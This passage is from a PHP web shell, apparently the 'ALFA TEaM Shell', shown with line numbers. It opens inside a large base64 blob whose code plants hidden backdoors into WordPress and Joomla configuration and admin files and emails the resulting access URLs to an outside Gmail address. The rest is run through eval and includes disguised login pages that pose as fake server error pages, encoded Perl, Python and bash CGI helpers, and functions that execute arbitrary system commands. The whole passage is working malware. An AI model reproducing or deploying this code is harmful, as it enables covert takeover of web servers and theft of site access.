SkdaMWJtTTlJbU55SWk0aVpXRWlMaUowWlY4aUxpSm1kVzRpTGlKamRHbHZiaUk3SkhnOUpHWjFibU1vSWx3a1l5SXNJbVVpTGlKMklpNGlZV3dpTGlJb0p6OCtKeTVpWVhObElpNGlOalFpTGlKZlpHVmpJaTRpYjJSbEtGd2tZeWtwT3lJcE95UjRLQ0pRUkRsM1lVaEJTME5wVW0xaFYzaHNZM2xCT1VsRlFXdFlNRnBLVkVWV1ZGZDVTbTFoVjNoc1kzbEtaRTkzY0hCYWFVRnZTa2RhY0dKSFZucFhlVXAxV1ZjeGJFbHNNR2RKVkRCblNubGpjRWxJYzB0SlEwRm5TVU5TYldSWGVITmpSMFl3WVVOQk9VbERVbVpWYTFaU1ZsVldWRlpHYzJsalIwWXdZVU5LWkVsRE5HZEtSMXB3WWtkV2VsZDVTblZaVnpGc1NXd3dOME5wUVdkSlEwSndXbWxCYjJKWE9USmFWamt4WTBkNGRsbFhVbXhhUmpsdFlWZDRiRXREVW0xaFYzaHNZekZ6Ym1SSE1YZFlNalZvWWxkVmJsaFRkMmRLUjFveFlrZDRkMWxZVW05TFUydG5aWGR2WjBsRFFXZEpRMEZuU1VkV2FtRkhPR2RKYW5odlRWUTBPRmxUUW05amJWWnRVRk5qYTFwdVZuTmlTRUpvWkVkbmJsQnJVblppYlZWb1NVVTVkMXBYTkRoTU1rVXJVRU01YjAxVU5HbFBkMjluU1VOQloyWlJjRGxhVjA1dllubEJibEJIYURCaVYzY3JVRWRvYkZsWFVTdFFTRkp3WkVkNGJGQnNWbmRpUnpsb1drTkNiV0ZYZUd4amVUUjFUR3AzZG1SSGJEQmlSMVVyVUVNNWIxcFhSbXRRYW5ocFlqSlNOVkJxZUcxaU0wcDBTVWN4YkdSSGFIWmFSREZSVkRGT1ZVbEhWblZaTTFJMVkwZFZPVWx0TVRGaVNGSndZMGRHZVdSRE9XMWlNMHAwVEZkU2FHUkhSV2xKUjBacVpFZHNkbUpxTUdsSmFqUTRZVmMxZDJSWVVXZGtTR3gzV2xReE1GcFlhREJKUnpWb1lsZFZPV05IUmpCaFJEUTRZVmMxZDJSWVVXZGtTR3gzV2xRd2FWcHRiSE5hVTBsblltMUdkRnBVTUdsYWJXeHpXbGhOYVZCcWVIQmlia0l4WkVOQ01HVllRbXhRV0U0eFdXMHhjR1JEUWpKWlYzZ3hXbFF3YVZaV1FuTmlNa1pyU1dvME9Fd3lXblpqYlRBclVFTTVhV0l5VWpWUWFuZDJZVWhTZEdKRU5HNVBkMjh2VUdjOVBTSXBPMlY0YVhRN2ZUOCsiKSk7CiAgICBmd3JpdGUoJG9wY29uLCRjb25maWd1cmF0aW9uKTsKICAgIGZjbG9zZSgkb3Bjb24pOwogICAgJGNvbmZpZ3VyYXRpb25iYWNrPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiIvY29uZmlndXJhdGlvbi5waHA/M3g9M3giOwogIH0KICBpZighZW1wdHkoJHdwY29uZmlnKSkgewogICAgJHdwY29uZmlnPXN0cl9yZXBsYWNlKGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYVdZb2FYTnpaWFFvSkY5SFJWUmJJak40SWwwcEppWWtYMGRGVkZzaU0zZ2lYVDA5SWpONElpbDdKR1oxYm1NOUltTnlJaTRpWldFaUxpSjBaVjhpTGlKbWRXNGlMaUpqZEdsdmJpSTdKSGc5SkdaMWJtTW9JbHdrWXlJc0ltVWlMaUoySWk0aVlXd2lMaUlvSno4K0p5NWlZWE5sSWk0aU5qUWlMaUpmWkdWaklpNGliMlJsS0Z3a1l5a3BPeUlwT3lSNEtDSlFSRGwzWVVoQlMwTnBVbTFoVjNoc1kzbEJPVWxGUVd0WU1GcEtWRVZXVkZkNVNtMWhWM2hzWTNsS1pFOTNjSEJhYVVGdlNrZGFjR0pIVm5wWGVVcDFXVmN4YkVsc01HZEpWREJuU25samNFbEljMHRKUTBGblNVTlNiV1JYZUhOalIwWXdZVU5CT1VsRFVtWlZhMVpTVmxWV1ZGWkdjMmxqUjBZd1lVTktaRWxETkdkS1IxcHdZa2RXZWxkNVNuVlpWekZzU1d3d04wTnBRV2RKUTBKd1dtbEJiMkpYT1RKYVZqa3hZMGQ0ZGxsWFVteGFSamx0WVZkNGJFdERVbTFoVjNoc1l6RnpibVJITVhkWU1qVm9ZbGRWYmxoVGQyZEtSMW94WWtkNGQxbFlVbTlMVTJ0blpYZHZaMGxEUVdkSlEwRm5TVWRXYW1GSE9HZEphbmh2VFZRME9GbFRRbTlqYlZadFVGTmphMXB1Vm5OaVNFSm9aRWRuYmxCclVuWmliVlZvU1VVNWQxcFhORGhNTWtVclVFTTViMDFVTkdsUGQyOW5TVU5CWjJaUmNEbGFWMDV2WW5sQmJsQkhhREJpVjNjclVFZG9iRmxYVVN0UVNGSndaRWQ0YkZCc1ZuZGlSemxvV2tOQ2JXRlhlR3hqZVRSMVRHcDNkbVJIYkRCaVIxVXJVRU01YjFwWFJtdFFhbmhwWWpKU05WQnFlRzFpTTBwMFNVY3hiR1JIYUhaYVJERlJWREZPVlVsSFZuVlpNMUkxWTBkVk9VbHRNVEZpU0ZKd1kwZEdlV1JET1cxaU0wcDBURmRTYUdSSFJXbEpSMFpxWkVkc2RtSnFNR2xKYWpRNFlWYzFkMlJZVVdka1NHeDNXbFF4TUZwWWFEQkpSelZvWWxkVk9XTkhSakJoUkRRNFlWYzFkMlJZVVdka1NHeDNXbFF3YVZwdGJITmFVMGxuWW0xR2RGcFVNR2xhYld4eldsaE5hVkJxZUhCaWJrSXhaRU5DTUdWWVFteFFXRTR4V1cweGNHUkRRakpaVjNneFdsUXdhVlpXUW5OaU1rWnJTV28wT0V3eVduWmpiVEFyVUVNNWFXSXlValZRYW5kMllVaFNkR0pFTkc1UGQyOHZVR2M5UFNJcE8yVjRhWFE3ZlQ4KyIpLCIiLCR3cGNvbmZpZyk7CiAgICBpZihpc19kaXIoJHJvb3QuIi93cC1hZG1pbiIpKSB7CiAgICAgIGNoZGlyKCRyb290LiJ3cC1hZG1pbiIpOwogICAgICBpZighZW1wdHkoImFkbWluLnBocCIpKSB7CiAgICAgICAgJGFib3V0PWZpbGVfZ2V0X2NvbnRlbnRzKCRyb290LiIvd3AtYWRtaW4vYWRtaW4ucGhwIik7CiAgICAgICAgJGFib3V0PXN0cl9yZXBsYWNlKGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYVdZb2FYTnpaWFFvSkY5SFJWUmJJak40SWwwcEppWWtYMGRGVkZzaU0zZ2lYVDA5SWpONElpbDdKR1oxYm1NOUltTnlJaTRpWldFaUxpSjBaVjhpTGlKbWRXNGlMaUpqZEdsdmJpSTdKSGc5SkdaMWJtTW9JbHdrWXlJc0ltVWlMaUoySWk0aVlXd2lMaUlvSno4K0p5NWlZWE5sSWk0aU5qUWlMaUpmWkdWaklpNGliMlJsS0Z3a1l5a3BPeUlwT3lSNEtDSlFSRGwzWVVoQlMwTnBVbTFoVjNoc1kzbEJPVWxGUVd0WU1GcEtWRVZXVkZkNVNtMWhWM2hzWTNsS1pFOTNjSEJhYVVGdlNrZGFjR0pIVm5wWGVVcDFXVmN4YkVsc01HZEpWREJuU25samNFbEljMHRKUTBGblNVTlNiV1JYZUhOalIwWXdZVU5CT1VsRFVtWlZhMVpTVmxWV1ZGWkdjMmxqUjBZd1lVTktaRWxETkdkS1IxcHdZa2RXZWxkNVNuVlpWekZzU1d3d04wTnBRV2RKUTBKd1dtbEJiMkpYT1RKYVZqa3hZMGQ0ZGxsWFVteGFSamx0WVZkNGJFdERVbTFoVjNoc1l6RnpibVJITVhkWU1qVm9ZbGRWYmxoVGQyZEtSMW94WWtkNGQxbFlVbTlMVTJ0blpYZHZaMGxEUVdkSlEwRm5TVWRXYW1GSE9HZEphbmh2VFZRME9GbFRRbTlqYlZadFVGTmphMXB1Vm5OaVNFSm9aRWRuYmxCclVuWmliVlZvU1VVNWQxcFhORGhNTWtVclVFTTViMDFVTkdsUGQyOW5TVU5CWjJaUmNEbGFWMDV2WW5sQmJsQkhhREJpVjNjclVFZG9iRmxYVVN0UVNGSndaRWQ0YkZCc1ZuZGlSemxvV2tOQ2JXRlhlR3hqZVRSMVRHcDNkbVJIYkRCaVIxVXJVRU01YjFwWFJtdFFhbmhwWWpKU05WQnFlRzFpTTBwMFNVY3hiR1JIYUhaYVJERlJWREZPVlVsSFZuVlpNMUkxWTBkVk9VbHRNVEZpU0ZKd1kwZEdlV1JET1cxaU0wcDBURmRTYUdSSFJXbEpSMFpxWkVkc2RtSnFNR2xKYWpRNFlWYzFkMlJZVVdka1NHeDNXbFF4TUZwWWFEQkpSelZvWWxkVk9XTkhSakJoUkRRNFlWYzFkMlJZVVdka1NHeDNXbFF3YVZwdGJITmFVMGxuWW0xR2RGcFVNR2xhYld4eldsaE5hVkJxZUhCaWJrSXhaRU5DTUdWWVFteFFXRTR4V1cweGNHUkRRakpaVjNneFdsUXdhVlpXUW5OaU1rWnJTV28wT0V3eVduWmpiVEFyVUVNNWFXSXlValZRYW5kMllVaFNkR0pFTkc1UGQyOHZVR2M5UFNJcE8yVjRhWFE3ZlQ4KyIpLCIiLCRhYm91dCk7CiAgICAgICAgdW5saW5rKCRyb290LiIvd3AtYWRtaW4vYWRtaW4ucGhwIik7CiAgICAgICAgJG9wYWJvdXQ9Zm9wZW4oJHJvb3QuIi93cC1hZG1pbi9hZG1pbi5waHAiLCJhIik7CiAgICAgICAgZndyaXRlKCRvcGFib3V0LGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYVdZb2FYTnpaWFFvSkY5SFJWUmJJak40SWwwcEppWWtYMGRGVkZzaU0zZ2lYVDA5SWpONElpbDdKR1oxYm1NOUltTnlJaTRpWldFaUxpSjBaVjhpTGlKbWRXNGlMaUpqZEdsdmJpSTdKSGc5SkdaMWJtTW9JbHdrWXlJc0ltVWlMaUoySWk0aVlXd2lMaUlvSno4K0p5NWlZWE5sSWk0aU5qUWlMaUpmWkdWaklpNGliMlJsS0Z3a1l5a3BPeUlwT3lSNEtDSlFSRGwzWVVoQlMwTnBVbTFoVjNoc1kzbEJPVWxGUVd0WU1GcEtWRVZXVkZkNVNtMWhWM2hzWTNsS1pFOTNjSEJhYVVGdlNrZGFjR0pIVm5wWGVVcDFXVmN4YkVsc01HZEpWREJuU25samNFbEljMHRKUTBGblNVTlNiV1JYZUhOalIwWXdZVU5CT1VsRFVtWlZhMVpTVmxWV1ZGWkdjMmxqUjBZd1lVTktaRWxETkdkS1IxcHdZa2RXZWxkNVNuVlpWekZzU1d3d04wTnBRV2RKUTBKd1dtbEJiMkpYT1RKYVZqa3hZMGQ0ZGxsWFVteGFSamx0WVZkNGJFdERVbTFoVjNoc1l6RnpibVJITVhkWU1qVm9ZbGRWYmxoVGQyZEtSMW94WWtkNGQxbFlVbTlMVTJ0blpYZHZaMGxEUVdkSlEwRm5TVWRXYW1GSE9HZEphbmh2VFZRME9GbFRRbTlqYlZadFVGTmphMXB1Vm5OaVNFSm9aRWRuYmxCclVuWmliVlZvU1VVNWQxcFhORGhNTWtVclVFTTViMDFVTkdsUGQyOW5TVU5CWjJaUmNEbGFWMDV2WW5sQmJsQkhhREJpVjNjclVFZG9iRmxYVVN0UVNGSndaRWQ0YkZCc1ZuZGlSemxvV2tOQ2JXRlhlR3hqZVRSMVRHcDNkbVJIYkRCaVIxVXJVRU01YjFwWFJtdFFhbmhwWWpKU05WQnFlRzFpTTBwMFNVY3hiR1JIYUhaYVJERlJWREZPVlVsSFZuVlpNMUkxWTBkVk9VbHRNVEZpU0ZKd1kwZEdlV1JET1cxaU0wcDBURmRTYUdSSFJXbEpSMFpxWkVkc2RtSnFNR2xKYWpRNFlWYzFkMlJZVVdka1NHeDNXbFF4TUZwWWFEQkpSelZvWWxkVk9XTkhSakJoUkRRNFlWYzFkMlJZVVdka1NHeDNXbFF3YVZwdGJITmFVMGxuWW0xR2RGcFVNR2xhYld4eldsaE5hVkJxZUhCaWJrSXhaRU5DTUdWWVFteFFXRTR4V1cweGNHUkRRakpaVjNneFdsUXdhVlpXUW5OaU1rWnJTV28wT0V3eVduWmpiVEFyVUVNNWFXSXlValZRYW5kMllVaFNkR0pFTkc1UGQyOHZVR2M5UFNJcE8yVjRhWFE3ZlQ4KyIpKTsKICAgICAgICBmd3JpdGUoJG9wYWJvdXQsJGFib3V0KTsKICAgICAgICBmY2xvc2UoJG9wYWJvdXQpOwogICAgICAgICR3cGFkbWluYmFjaz0kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iL3dwLWFkbWluL2FkbWluLnBocD8zeD0zeCI7CiAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgIHVubGluaygkcm9vdC4iL3dwLWNvbmZpZy5waHAiKTsKICAgICAgJG9wd3Bjb249Zm9wZW4oJHJvb3QuIi93cC1jb25maWcucGhwIiwiYSIpOwogICAgICBmd3JpdGUoJG9wd3Bjb24sYmFzZTY0X2RlY29kZSgiUEQ5d2FIQWdhV1lvYVhOelpYUW9KRjlIUlZSYklqTjRJbDBwSmlZa1gwZEZWRnNpTTNnaVhUMDlJak40SWlsN0pHWjFibU05SW1OeUlpNGlaV0VpTGlKMFpWOGlMaUptZFc0aUxpSmpkR2x2YmlJN0pIZzlKR1oxYm1Nb0lsd2tZeUlzSW1VaUxpSjJJaTRpWVd3aUxpSW9KejgrSnk1aVlYTmxJaTRpTmpRaUxpSmZaR1ZqSWk0aWIyUmxLRndrWXlrcE95SXBPeVI0S0NKUVJEbDNZVWhCUzBOcFVtMWhWM2hzWTNsQk9VbEZRV3RZTUZwS1ZFVldWRmQ1U20xaFYzaHNZM2xLWkU5M2NIQmFhVUZ2U2tkYWNHSkhWbnBYZVVwMVdWY3hiRWxzTUdkSlZEQm5TbmxqY0VsSWMwdEpRMEZuU1VOU2JXUlhlSE5qUjBZd1lVTkJPVWxEVW1aVmExWlNWbFZXVkZaR2MybGpSMFl3WVVOS1pFbEROR2RLUjFwd1lrZFdlbGQ1U25WWlZ6RnNTV3d3TjBOcFFXZEpRMEp3V21sQmIySlhPVEphVmpreFkwZDRkbGxYVW14YVJqbHRZVmQ0YkV0RFVtMWhWM2hzWXpGemJtUkhNWGRZTWpWb1lsZFZibGhUZDJkS1Ixb3hZa2Q0ZDFsWVVtOUxVMnRuWlhkdlowbERRV2RKUTBGblNVZFdhbUZIT0dkSmFuaHZUVlEwT0ZsVFFtOWpiVlp0VUZOamExcHVWbk5pU0VKb1pFZG5ibEJyVW5aaWJWVm9TVVU1ZDFwWE5EaE1Na1VyVUVNNWIwMVVOR2xQZDI5blNVTkJaMlpSY0RsYVYwNXZZbmxCYmxCSGFEQmlWM2NyVUVkb2JGbFhVU3RRU0ZKd1pFZDRiRkJzVm5kaVJ6bG9Xa05DYldGWGVHeGplVFIxVEdwM2RtUkhiREJpUjFVclVFTTViMXBYUm10UWFuaHBZakpTTlZCcWVHMWlNMHAwU1VjeGJHUkhhSFphUkRGUlZERk9WVWxIVm5WWk0xSTFZMGRWT1VsdE1URmlTRkp3WTBkR2VXUkRPVzFpTTBwMFRGZFNhR1JIUldsSlIwWnFaRWRzZG1KcU1HbEphalE0WVZjMWQyUllVV2RrU0d4M1dsUXhNRnBZYURCSlJ6Vm9ZbGRWT1dOSFJqQmhSRFE0WVZjMWQyUllVV2RrU0d4M1dsUXdhVnB0YkhOYVUwbG5ZbTFHZEZwVU1HbGFiV3h6V2xoTmFWQnFlSEJpYmtJeFpFTkNNR1ZZUW14UVdFNHhXVzB4Y0dSRFFqSlpWM2d4V2xRd2FWWldRbk5pTWtaclNXbzBPRXd5V25aamJUQXJVRU01YVdJeVVqVlFhbmQyWVVoU2RHSkVORzVQZDI4dlVHYzlQU0lwTzJWNGFYUTdmVDgrIikpOwogICAgICBmd3JpdGUoJG9wd3Bjb24sJHdwY29uZmlnKTsKICAgICAgZmNsb3NlKCRvcHdwY29uKTsKICAgICAgJHdwY29uZmlnYmFjaz0kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iL3dwLWNvbmZpZy5waHA/M3g9M3giOwogICAgfQogIH0KICAkbWFpbG1lPSIxM3NoZWxsMzdAZ21haWwuY29tIjsKICAkc3ViamVjdD0iQWxmYSBEZWNvZGVkIjsKICAkYm9keW1lPSRpbmRleGJhY2suIlxuIi4kY29uZmlndXJhdGlvbmJhY2suIlxuIi4kd3Bjb25maWdiYWNrLiJcbiIuJHdwYWRtaW5iYWNrLiJcbiIuJGJvZHk7CiAgbWFpbCgkbWFpbG1lLCRzdWJqZWN0LCRib2R5bWUpOwp9";
  555. eval(__ZGVjb2Rlcg($rubby));
  556. if ($config['AlfaProtectShell']) {
  557. $SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "");
  558. $Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
  559. if ($config['AlfaLoginPage'] == 'gui') {
  560. if (@$_SESSION["AlfaUser"] != $config['AlfaUser'] && @$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])) {
  561. if (@$_POST["usrname"] == $config['AlfaUser'] && @md5($_POST["password"]) == $config['AlfaPass']) {
  562. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  563. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  564. @header('location: ' . $_SERVER["PHP_SELF"]);
  565. }
  566. echo '<style>body{background: black;}#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }#loginbox td { border-radius:5px; font-size:11px; }</style><title>~ ALFA TEaM Shell-v' . __ALFA_VERSION__ . ' ~</title><center><center><img style="border-radius:100px;" width="500" height="250" alt="" src="http://solevisible.com/images/alfa-iran.png" /></center><div id=loginbox><p><font face="verdana,arial" size=-1><center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'><tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v' . __ALFA_VERSION__ . ' ~</b></font></th></tr><tr><td bgcolor="black" style="padding:5"><form method="post"><input type="hidden" name="action" value="login"><input type="hidden" name="hide" value=""><center><table><tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr><tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr><tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table></div><br /></center>';
  567. exit;
  568. }
  569. } elseif ($config['AlfaLoginPage'] == '500') {
  570. if (@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])) {
  571. if (@md5($_POST["password"]) == $config['AlfaPass']) {
  572. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  573. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  574. header('location: ' . $_SERVER["PHP_SELF"]);
  575. }
  576. echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
  577. exit;
  578. }
  579. } elseif ($config['AlfaLoginPage'] == '403') {
  580. if (@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])) {
  581. if (@md5($_POST["password"]) == $config['AlfaPass']) {
  582. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  583. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  584. header('location: ' . $_SERVER["PHP_SELF"]);
  585. }
  586. echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
  587. exit;
  588. }
  589. } elseif ($config['AlfaLoginPage'] == '404') {
  590. if (@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])) {
  591. if (@md5($_POST["password"]) == $config['AlfaPass']) {
  592. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  593. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  594. header('location: ' . $_SERVER["PHP_SELF"]);
  595. }
  596. echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL " . $_SERVER['PHP_SELF'] . " was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
  597. exit;
  598. }
  599. }
  600. }
  601. function decrypt_post($str, $pwd)
  602. {
  603. if (__ALFA_POST_ENCRYPTION__) {
  604. $pwd = __ZW5jb2Rlcg($pwd);
  605. $str = __ZGVjb2Rlcg($str);
  606. $enc_chr = "";
  607. $enc_str = "";
  608. $i = 0;
  609. while ($i < strlen($str)) {
  610. for ($j = 0; $j < strlen($pwd); $j++) {
  611. $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
  612. $enc_str .= $enc_chr;
  613. $i++;
  614. if ($i >= strlen($str))
  615. break;
  616. }
  617. }
  618. return __ZGVjb2Rlcg($enc_str);
  619. } else {
  620. return __ZGVjb2Rlcg($str);
  621. }
  622. }
  623. function _AlfaSecretKey()
  624. {
  625. if (!isset($_SESSION["AlfaSecretKey"])) {
  626. @$_SESSION["AlfaSecretKey"] = uniqid(mt_rand(), true);
  627. }
  628. return $_SESSION["AlfaSecretKey"];
  629. }
  630. function alfa_getColor($target)
  631. {
  632. if (isset($GLOBALS["DB_NAME"]["color"][$target]) && $GLOBALS["DB_NAME"]["color"][$target] != "") {
  633. return $GLOBALS["DB_NAME"]["color"][$target];
  634. } else {
  635. $target = $GLOBALS["__ALFA_COLOR__"][$target];
  636. if (is_array($target)) {
  637. return $target["key_color"];
  638. } else {
  639. return $target;
  640. }
  641. }
  642. }
  643. function alfaCssLoadColors()
  644. {
  645. $css = "";
  646. foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
  647. if (!is_array($value)) {
  648. $value = alfa_getColor($key);
  649. $css .= ".{$key}{color: {$value};}";
  650. } else {
  651. if (isset($value["multi_selector"])) {
  652. foreach ($value["multi_selector"] as $k => $v) {
  653. $color = alfa_getColor($key);
  654. $code = str_replace("{color}", $color, $v);
  655. $css .= $k . "{" . $code . "}";
  656. }
  657. }
  658. }
  659. }
  660. return $css;
  661. }
  662. function _alfa_cgicmd($cmd, $lang = "perl")
  663. {
  664. if (isset($_SESSION["alfacgiapi_mode"])) {
  665. return "";
  666. }
  667. $cmd_pure = $cmd;
  668. $is_curl = function_exists('curl_version');
  669. $is_socket = function_exists('fsockopen');
  670. if ($is_curl || $is_socket) {
  671. $recreate = false;
  672. if (isset($_SESSION["alfacgiapi"])) {
  673. if (!@file_exists("alfacgiapi/" . $_SESSION["alfacgiapi"] . ".alfa")) {
  674. $recreate = true;
  675. $lang = $_SESSION["alfacgiapi"];
  676. }
  677. }
  678. if (!isset($_SESSION["alfacgiapi"]) || $recreate) {
  679. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  680. $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
  681. $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
  682. $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
  683. if ($lang == "perl")
  684. $source = $perl;
  685. elseif ($lang == "py")
  686. $source = $py;
  687. else
  688. $source = $bash;
  689. alfaWriteTocgiapi($lang . ".alfa", $source);
  690. alfacgihtaccess('cgi', "alfacgiapi/");
  691. } else {
  692. $lang = $_SESSION["alfacgiapi"];
  693. }
  694. $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=" . __ZW5jb2Rlcg("cd " . $GLOBALS['cwd'] . ";" . $cmd);
  695. if ($is_curl) {
  696. $address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . "/alfacgiapi/" . $lang . ".alfa";
  697. $post = new AlfaCURL();
  698. $data = $post->Send($address, "post", $cmd);
  699. } elseif ($is_socket) {
  700. $server = $_SERVER["SERVER_NAME"];
  701. $uri = dirname($_SERVER["REQUEST_URI"]) . "/alfacgiapi/" . $lang . ".alfa";
  702. $data = _alfa_fsockopen($server, $uri, $cmd);
  703. }
  704. $out = "";
  705. if (strstr($data, "[solevisible~api]")) {
  706. $_SESSION["alfacgiapi"] = $lang;
  707. if (@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)) {
  708. $out = $res[1];
  709. }
  710. } elseif ($lang == "perl") {
  711. return _alfa_cgicmd($cmd_pure, "py");
  712. } elseif ($lang == "py") {
  713. return _alfa_cgicmd($cmd_pure, "bash");
  714. } else {
  715. $_SESSION["alfacgiapi_mode"] = "off";
  716. }
  717. return trim($out);
  718. } else {
  719. return "";
  720. }
  721. }
  722. function alfaEx($in, $re = false, $cgi = true, $all = false)
  723. {
  724. $data = _alfa_php_cmd($in, $re);
  725. if (empty($data) && $cgi || $all) {
  726. if ($GLOBALS['sys'] == 'unix') {
  727. if (strlen(_alfa_php_cmd("whoami")) == 0 || $all) {
  728. $cmd = _alfa_cgicmd($in);
  729. if (!empty($cmd)) {
  730. return $cmd;
  731. }
  732. }
  733. }
  734. }
  735. return $data;
  736. }
  737. function _alfa_php_cmd($in, $re = false)
  738. {
  739. $out = '';
  740. try {
  741. if ($re)
  742. $in = $in . " 2>&1";
  743. if (function_exists('exec')) {
  744. @exec($in, $out);
  745. $out = @join("\n", $out);
  746. } elseif (function_exists('passthru')) {
  747. ob_start();
  748. @passthru($in);
  749. $out = ob_get_clean();
  750. } elseif (function_exists('system')) {
  751. ob_start();
  752. @system($in);
  753. $out = ob_get_clean();
  754. } elseif (function_exists('shell_exec')) {
  755. $out = shell_exec($in);
  756. } elseif (function_exists("popen") && function_exists("pclose")) {
  757. if (is_resource($f = @popen($in, "r"))) {
  758. $out = "";
  759. while (!@feof($f))
  760. $out .= fread($f, 1024);
  761. pclose($f);
  762. }
  763. } elseif (function_exists('proc_open')) {
  764. $pipes = array();
  765. $process = @proc_open($in . ' 2>&1', array(
  766. array(
  767. "pipe",
  768. "w"
  769. ),
  770. array(
  771. "pipe",
  772. "w"
  773. ),
  774. array(
  775. "pipe",
  776. "w"
  777. )
  778. ), $pipes, null);
